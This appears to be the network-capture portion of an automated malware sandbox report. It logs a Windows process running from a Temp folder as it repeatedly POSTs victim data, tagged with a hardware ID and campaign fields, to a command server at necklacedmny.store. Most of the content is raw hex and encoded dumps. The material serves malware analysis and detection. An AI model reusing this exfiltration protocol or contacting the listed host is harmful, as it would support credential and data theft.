1LzdlBbXxQozCpqiY3uDgCdNa+YXQSyKkXf1MbGDUOathO28DtbQIxMK96cyayvcA3EntosVNfeRNvVogddZ88y12LUm/qUyUhY//wN7YtB2VSuTwjwt86VC/Wixm2334JjBlCLu0D8nDv+jMlMDyDttA7rTRTTOqArRNbD+YS/4vP2APtack/YWhptnewPZEjQ3su99HduxHsl0mb9d24SA5ag6zvAPCwLD6x5XM8g3bS6j+l0xrpBrzYy9p02
2024-11-01 11:34:31 UTC	1369	IN	Data Raw: 63 51 69 33 38 55 4b 4d 77 71 61 6f 6d 4e 37 32 37 41 50 53 51 71 71 5a 30 46 42 79 37 6b 47 34 57 57 78 34 6c 6d 43 7a 4a 6a 6f 6a 55 66 69 38 41 4d 48 42 72 4f 54 41 6e 73 37 39 44 73 64 43 35 37 33 55 53 33 62 32 51 36 46 61 4a 32 4c 62 66 66 77 75 4f 6d 73 44 2b 50 39 4d 79 39 33 2b 73 49 43 79 78 4f 73 4f 6c 32 72 79 70 74 42 48 59 75 39 50 76 78 55 7a 4b 63 45 35 39 43 31 32 4f 30 6d 34 73 41 48 65 77 4c 2f 69 79 70 50 50 39 51 48 51 51 75 79 30 33 45 56 68 36 6b 32 7a 55 79 64 6d 33 58 72 34 4b 7a 68 71 47 2f 6a 2f 54 4d 76 64 2f 72 43 41 74 4e 7a 37 43 64 6b 50 78 72 76 42 54 44 48 46 54 4c 68 53 49 48 47 59 5a 72 30 34 64 6d 51 46 2b 4f 6c 4d 78 63 75 79 36 38 65 57 7a 2f 38 45 33 6b 33 6e 75 74 6c 4d 59 65 35 4f 75 55 63 6a 5a 4e 56 39 2f 69 73 Data Ascii: cQi38UKMwqaomN727APSQqqZ0FBy7kG4WWx4lmCzJjojUfi8AMHBrOTAns79DsdC573US3b2Q6FaJ2LbffwuOmsD+P9My93+sICyxOsOl2ryptBHYu9PvxUzKcE59C12O0m4sAHewL/iypPP9QHQQuy03EVh6k2zUydm3Xr4KzhqG/j/TMvd/rCAtNz7CdkPxrvBTDHFTLhSIHGYZr04dmQF+OlMxcuy68eWz/8E3k3nutlMYe5OuUcjZNV9/is
2024-11-01 11:34:31 UTC	833	IN	Data Raw: 37 31 4d 6c 49 57 2b 37 4d 79 64 77 50 51 4c 32 45 4c 76 75 39 68 42 66 66 5a 4e 74 6c 30 67 62 39 56 72 2b 53 73 6b 61 67 43 31 76 77 54 65 78 76 36 6d 67 4a 6e 66 75 6c 79 56 66 2b 4b 7a 32 31 31 2b 36 77 4b 73 47 7a 55 6e 33 33 57 7a 65 58 5a 78 47 37 69 36 44 4d 76 4c 72 4f 6e 49 6b 63 33 36 41 74 35 48 36 37 6e 54 52 58 72 69 51 37 35 55 4c 57 66 64 65 66 6f 7a 4f 79 4e 48 2b 4c 59 55 6a 4a 33 2b 33 38 79 56 39 76 6b 53 6c 56 4b 6d 71 5a 64 4d 66 36 51 61 38 31 51 2b 61 74 42 39 38 79 77 77 61 41 69 35 73 67 7a 4d 78 72 37 74 79 35 48 42 2f 51 6e 66 52 4f 47 69 33 30 39 68 35 45 36 33 46 57 49 6e 33 32 47 7a 65 58 5a 54 43 72 4f 39 44 4d 48 51 2f 76 65 4f 68 34 66 39 43 4a 55 56 71 4c 6a 63 51 48 58 76 51 62 42 62 4a 32 33 58 64 76 6b 6e 4d 47 73 4d Data Ascii: 71MlIW+7MydwPQL2ELvu9hBffZNtl0gb9Vr+SskagC1vwTexv6mgJnfulyVf+Kz211+6wKsGzUn33WzeXZxG7i6DMvLrOnIkc36At5H67nTRXriQ75ULWfdefozOyNH+LYUjJ3+38yV9vkSlVKmqZdMf6Qa81Q+atB98ywwaAi5sgzMxr7ty5HB/QnfROGi309h5E63FWIn32GzeXZTCrO9DMHQ/veOh4f9CJUVqLjcQHXvQbBbJ23XdvknMGsM
2024-11-01 11:34:31 UTC	1369	IN	Data Raw: 32 32 32 35 0d 0a 6c 78 4d 68 71 67 4b 68 46 58 51 6e 6e 33 72 68 4d 7a 42 67 48 37 76 32 4d 76 4c 47 71 4f 58 50 6c 63 62 45 4f 76 74 41 36 62 50 5a 43 55 4c 79 54 36 4e 57 4b 57 44 6d 52 2f 30 6d 49 6d 51 48 76 72 46 4d 67 6f 57 78 71 4a 69 6e 68 37 4a 45 36 67 4f 6f 71 4a 63 54 4d 39 46 42 76 56 73 72 63 63 6b 30 30 44 63 37 62 41 4b 35 38 55 4b 4d 77 2f 36 77 6b 4e 43 48 2f 68 57 56 46 62 6a 69 6a 42 34 67 73 78 4c 68 53 6d 4a 2b 6d 47 2b 7a 65 57 51 74 53 61 72 78 56 49 79 43 73 4f 58 42 6e 63 6e 35 46 73 64 4c 36 36 62 55 44 45 33 61 59 37 35 65 49 47 72 58 63 73 30 66 46 32 34 43 74 4c 77 44 78 2f 75 41 2f 63 4f 51 79 66 30 53 78 41 32 6d 38 4e 67 4c 4b 39 30 43 2b 78 55 54 4b 5a 68 68 73 33 6c 32 56 67 71 32 76 77 76 61 31 50 50 4a 7a 5a 58 4c 39 Data Ascii: 2225lxMhqgKhFXQnn3rhMzBgH7v2MvLGqOXPlcbEOvtA6bPZCULyT6NWKWDmR/0mImQHvrFMgoWxqJinh7JE6gOoqJcTM9FBvVsrcck00Dc7bAK58UKMw/6wkNCH/hWVFbjijB4gsxLhSmJ+mG+zeWQtSarxVIyCsOXBncn5FsdL66bUDE3aY75eIGrXcs0fF24CtLwDx/uA/cOQyf0SxA2m8NgLK90C+xUTKZhhs3l2Vgq2vwva1PPJzZXL9
2024-11-01 11:34:31 UTC	1369	IN	Data Raw: 72 6f 73 56 4e 63 50 4a 42 39 47 73 53 51 73 39 36 34 79 63 31 58 54 65 54 76 51 72 4c 33 37 6e 75 35 72 36 48 74 45 54 61 44 62 43 4a 6c 77 4d 7a 32 77 7a 7a 54 57 77 2f 6d 45 7a 77 4c 7a 68 6b 48 36 6e 38 4b 64 76 47 72 75 37 44 33 6f 6d 36 41 70 55 56 75 50 36 58 54 32 4b 6b 47 75 4d 48 64 7a 4b 4c 4c 71 4e 7a 4b 53 30 51 2b 4b 64 4d 6c 4a 66 77 71 4e 4c 65 6e 37 70 44 31 6c 2f 36 74 74 52 64 63 4b 4e 38 6a 58 4d 76 64 74 4a 59 2f 6a 45 78 58 54 65 74 73 67 4c 43 77 71 6a 35 67 4e 43 48 39 55 53 4e 64 4b 6a 34 6d 30 31 77 38 67 4b 4d 47 32 78 2f 6d 43 47 7a 46 44 56 74 42 37 2b 6e 48 59 48 6a 76 66 6e 4b 76 38 72 71 41 35 55 44 71 4c 61 58 45 79 43 71 41 72 64 45 62 44 2b 49 4b 36 68 30 5a 54 52 5a 36 71 35 43 31 59 57 6f 71 4a 6a 4d 69 62 6f 57 6c 52 Data Ascii: rosVNcPJB9GsSQs964yc1XTeTvQrL37nu5r6HtETaDbCJlwMz2wzzTWw/mEzwLzhkH6n8KdvGru7D3om6ApUVuP6XT2KkGuMHdzKLLqNzKS0Q+KdMlJfwqNLen7pD1l/6ttRdcKN8jXMvdtJY/jExXTetsgLCwqj5gNCH9USNdKj4m01w8gKMG2x/mCGzFDVtB7+nHYHjvfnKv8rqA5UDqLaXEyCqArdEbD+IK6h0ZTRZ6q5C1YWoqJjMiboWlR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50002	188.114.96.3	443	1468	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:32 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: necklacedmny.store
2024-11-01 11:34:32 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:33 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o1pnakc9fk85t33hv12bdjdp4o; expires=Tue, 25-Feb-2025 05:21:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DuK0JCnmlpgZa%2BfO3gGYBAtcc%2BwrcVCjNR6R3VTbx7ykfOOc9IEchdlMOQC9PUx%2FnMlE1mXwVOHGK%2FAetsO0FX1hCH9HtDhpiiIWytkVFfIXlCrPaicBodJs8SxirfJA9ikPTVM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb9386d8133ac5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1093&sent=13&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13791&delivery_rate=2590339&cwnd=235&unsent_bytes=0&cid=b7892041a045533e&ts=773&x=0"
2024-11-01 11:34:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50004	188.114.96.3	443	1468	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:34 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: necklacedmny.store
2024-11-01 11:34:34 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:34 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bch1ie9tvh1348rhc8u5d4f58i; expires=Tue, 25-Feb-2025 05:21:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xlFhOw%2Bldu%2FuETkiYDcW4WiGxlPcyuVNSe7yYudXmjVOoxGf07Fz3H24zXWT8808s0pFVMjKjY7I9kD60RJuJmJivSv6qJ9TzX8SsBfuUQKt34YoY5cSIegeMdLJrtRSDLe5gts%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb93906be43ace-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1159&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16023&delivery_rate=2479452&cwnd=227&unsent_bytes=0&cid=95ab71080c06fe58&ts=525&x=0"
2024-11-01 11:34:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	50007	188.114.96.3	443	1468	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-11-01 11:34:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:36 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-11-01 11:34:37 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p9bdlq8t957kc2iblbmd2u16lc; expires=Tue, 25-Feb-2025 05:21:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PMMwl47SNfMGZDm8B61I57N2wEkJuab%2Bsk%2BAX2yZMdIS9fiZE7VsyGIQ08I%2B265x3Vpr8X5YUMJwH33eStHhPkTUDHsfDOCc7eGl1dMBueX39jWsYCOVlEksnFwVCJDo9L%2F0KMs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb939efa432e67-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1531&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21370&delivery_rate=1865979&cwnd=232&unsent_bytes=0&cid=ef25046b33da3511&ts=694&x=0"
2024-11-01 11:34:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	50009	188.114.96.3	443	1468	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:39 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1283 Host: necklacedmny.store
2024-11-01 11:34:39 UTC	1283	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:39 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8q5mqe2f4s9ni1p7e4ehq7nv72; expires=Tue, 25-Feb-2025 05:21:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GL0FiXGLQ44Y1jOiE04YaV0uc8oI2dELcxemXVdJ7UJxMQHoqX45HuFd1jg%2FihbBzH6eFa1WSyvVQWoNyjRx4zKhFyCemUdDxLd3ISXX3xya31YF1RvwnCFzLGmovttRYQYDc%2FY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb93ae3e9f6c3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1143&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2202&delivery_rate=2468883&cwnd=251&unsent_bytes=0&cid=93e0cfb63e8a7bd0&ts=529&x=0"
2024-11-01 11:34:39 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 11:34:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	50014	188.114.96.3	443	1468	C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 11:34:42 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 563807 Host: necklacedmny.store
2024-11-01 11:34:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 45 34 36 43 30 43 45 32 33 34 43 41 42 46 43 34 32 33 46 38 34 46 46 31 45 39 42 30 41 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"BE46C0CE234CABFC423F84FF1E9B0ACE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 11:34:42 UTC	15331	OUT	Data Raw: a0 b8 58 57 d2 1f e8 20 c8 58 1a d1 17 5a 9a fa d6 66 03 03 ae 16 6c 7d fa 94 7f 1f 1a 8e 0d 02 87 34 18 53 dd dc 81 8c 01 39 a9 08 ba c5 68 7e 59 f5 3e c6 52 50 40 01 36 4c 99 bd 91 56 cc f1 5d a7 49 66 31 a4 35 ed 5c a5 76 f7 03 83 b9 79 79 30 ff bb a6 fe ef 72 00 c8 2e 68 82 2a 08 38 e1 53 e6 0c 41 b9 07 92 8e 52 4f 2e ec 24 1b 8f 28 6e cc 75 8e 44 03 ea 47 21 5a ab 02 65 57 c1 42 fc d8 25 50 c8 8f 39 8e 84 fb 7e 3a f7 3f 86 e8 de 58 a3 f3 5d e0 7b 93 8b a4 07 c0 f2 11 bb 9a a8 ee fc dc 89 a9 e1 4c c9 7e 27 54 8e d4 c2 a4 4b 52 e9 e3 65 9d d9 af b6 75 e3 49 5b 09 8a 96 05 5f 30 67 b4 b3 9a fd 54 40 cf 23 6a f0 5b 95 7a 65 f1 08 b6 85 f3 ee f2 a8 55 cb 4e 61 3f 92 74 32 ac 65 a9 44 d9 65 24 f3 34 12 87 92 7a 0f ba 22 8d 4c c3 fc e4 b3 3a 50 79 b7 88 16 Data Ascii: XW XZfl}4S9h~Y>RP@6LV]If15\vyy0r.h*8SARO.$(nuDG!ZeWB%P9~:?X]{L~'TKReuI[_0gT@#j[zeUNa?t2eDe$4z"L:Py
2024-11-01 11:34:42 UTC	15331	OUT	Data Raw: c0 c7 0f 6a 41 b9 85 7d 51 af 02 2e 90 03 dc 31 a0 60 33 6c 5b 87 17 10 d7 d3 35 59 90 f7 ee 4d e6 52 8c 66 a3 9f 10 e8 f3 5d 0c 02 30 4d 82 6c 5f e6 60 2f 0d b6 ad ff a7 35 f4 78 c1 2b 2e 2f 33 02 f3 fa ab 25 f2 40 d6 04 0c e4 e1 9e ff 3f 2f 65 f6 12 f5 fc 32 36 eb 77 c6 3a 6e f3 bd 0e 05 23 11 dc e5 65 e9 60 6f f7 dd 61 24 42 97 d1 f6 cd 73 2c 9b 1d c9 a7 1e e5 c9 0b d8 47 25 69 2a eb 87 fe f3 4d 2b a9 6c f5 fa 17 57 88 20 db 4d 58 7d 7c d6 74 d9 9b 6d 3d 45 00 b4 87 d1 85 50 9a ab 2f 17 cb b5 9a 7b a5 61 0f ad 72 4c e6 d4 1c eb 2e 5e 70 26 4e 22 93 58 4b 69 8c 3a 2c 44 8c 37 b2 da 12 8e 47 4a fe 69 92 97 ad 76 e1 d7 97 69 79 1b 6e a6 80 0a de 19 b4 21 eb 41 bd c2 2e 7c e4 86 30 a1 65 ab 15 e3 29 02 9f 91 0e 9f fa 01 d3 a8 99 2e a7 ed 54 61 4a a6 28 bf Data Ascii: jA}Q.1`3l[5YMRf]0Ml_`/5x+./3%@?/e26w:n#e`oa$Bs,G%i*M+lW MX}\|tm=EP/{arL.^p&N"XKi:,D7GJiviyn!A.\|0e).TaJ(
2024-11-01 11:34:42 UTC	15331	OUT	Data Raw: fa fc f0 a5 43 4d 69 aa 82 67 3c cd 09 51 ae 64 fd c6 50 67 2f 8e 77 48 ba 89 19 92 4c df 28 3a 43 f1 91 ef 0d 88 e8 14 ce 3e 34 20 05 c6 62 8d 02 d3 12 e2 df 10 a7 7a 47 8b 7a 75 64 c3 03 6d 4f 56 fb 51 07 89 6e 88 2b fe 89 0f 36 b7 77 3f 6b 9b 73 42 db da df 0f 10 84 9a 96 84 cb 11 aa 60 ac e8 a2 60 98 2b 1d c8 36 ef ac 44 07 8f 6a 98 13 33 ab 4a 36 12 db 2d 87 15 fa a8 ba 6a 09 ae e7 7e 9e e8 73 8f 36 e4 b0 bb c2 f7 0c 2d 3c f4 6a 73 14 bf ee fd 66 ee c8 86 eb e0 ef bf 06 34 35 05 6b cf a7 03 01 2d 55 65 7c 04 af 8e 25 bb 30 c8 31 16 3d cd e1 6b cb fe 34 7c 1f fb a3 a6 f9 55 dd 52 d7 cf 2d 53 de e3 cf 7b 12 b5 25 a6 1d 73 7e ea fa fa 3f 13 78 8d d7 2e b1 a0 a6 ae 14 fd da 80 32 7a 4a 5f a0 ac fa 1e 23 2a 91 06 88 ec 32 35 d5 f3 cd 4e df 96 8f ed 43 35 Data Ascii: CMig<QdPg/wHL(:C>4 